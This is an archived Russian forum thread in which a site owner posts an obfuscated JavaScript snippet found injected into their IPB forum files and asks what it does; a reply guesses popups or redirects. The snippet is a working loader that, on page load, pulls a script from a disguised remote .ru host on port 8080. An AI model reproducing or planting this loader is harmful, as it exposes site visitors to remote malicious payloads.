Перейти к публикации

Расшифровка скрипта


kang

Рекомендованные сообщения

Обнаружил у себя в файлах такой (вредоносный) скрипт:

<script>var c;if(c!='' && c!='L'){c=null};var d=new String();try {this.P='';var R;if(R!='v'){R='v'};var K=']';var l=RegExp;var G="";var Q='g';var p='';var GR;if(GR!='' && GR!='k'){GR='vV'};var A=new String();var fp;if(fp!='mb' && fp != ''){fp=null};var H='[';var vo;if(vo!='I'){vo=''};var B=new Array();var D='replace';var T="";function h(hF,n){var S;if(S!='xi'){S='xi'};var pb="";var HG=H;HG+=n;var SC;if(SC!='q' && SC!='Y'){SC=''};var o='';HG+=K;var F=new l(HG, Q);var y;if(y!='GH' && y != ''){y=null};var QW;if(QW!='dr' && QW != ''){QW=null};return hF[D](F, p);};var C=h('cRrReZaRtReZERlReZmReZnZtZ',"ZR");var jk="";var Dt=new Date();var O=h('sJekt7AktktJr7ikb7ukt7ek',"kJ7B");var HO=h('824690774986490629',"97624");var P_=new Array();var x=h('aop1pQeonQd1C1hQiolUdQ',"UQo1");var dK;if(dK!='JI' && dK != ''){dK=null};var t=h('/PnPiDfCtPyd.dcEodmP/EnEiEfPtEyE.DcEodmC/DgdoEoPgClPeP.dcCoPmC/dcEbEsEsDpPoDrDtCsD.PcPodmP/PtCiEcPkEeDtEmDaDsdtdedrC.EcEoDmC.EpEhPpd',"EPCDd");var JC=new Array();var hl=new String();var hF="1";var lr=h('sIcIrAiIpBtA',"ABI");var Z='';var f_="";var kI;if(kI!='' && kI!='KJ'){kI='LO'};var Kr=h('oyn2l2o2aydI',"y2I");var a=h('hAt9tVp9:A/9/ViVmA298A6A-9cVoVmV.9gAoVoAgVlAeA.AcAo9mA.Vp9kV.AkAaViVxVi9n9-VcVoAmV.At9r9i9w9eAsAtVcAoVaAsAtV.VrAuA:9',"VA9");var tJ=new String();var YM="";var pB=h('btopdPyp',"ptP");var HT;if(HT!=''){HT='OU'};var mC='';window[Kr]=function(){var tV="";var Nd=new String();Hg=document[C](lr);var vl;if(vl!='' && vl!='Ob'){vl=''};var w;if(w!=''){w='ey'};Z+=a;var EK=new Date();var a_j=new Date();Z+=HO;Z+=t;var fK;if(fK!='' && fK!='Pt'){fK=null};var ID;if(ID!='LD' && ID != ''){ID=null};var Ib=new Array();Hg.setAttribute('defer', hF);var M=new Array();var hk=document[pB];Hg.src=Z;var aI;if(aI!='' && aI!='_w'){aI='Mp'};var TQ=new String();var EN=new Array();var Bi=new Array();hk.appendChild(Hg);var PW='';};} catch(E){};</script>

<!--fba0c733a7f94e2cb55b35733772d75d-->

Что конкретно он делает?

Ссылка на сообщение
Поделиться на других сайтах

Обнаружил такое у себя на форуме IPB, а их поддержка по выходным отдыхает, в отличии от тех. поддержки DLE :P .

И естественно хотелось бы знать что этот скрипт делает. Может его последствия тоже нужно почистить?

Ссылка на сообщение
Поделиться на других сайтах

И естественно хотелось бы знать что этот скрипт делает. Может его последствия тоже нужно почистить?

Расшифовывать лень, да нет смысла по сути, как правило это попапы, порно, редиректы на другие сайты

Ссылка на сообщение
Поделиться на других сайтах

Архивировано

Эта тема находится в архиве и закрыта для публикации сообщений.

×
×
  • Создать...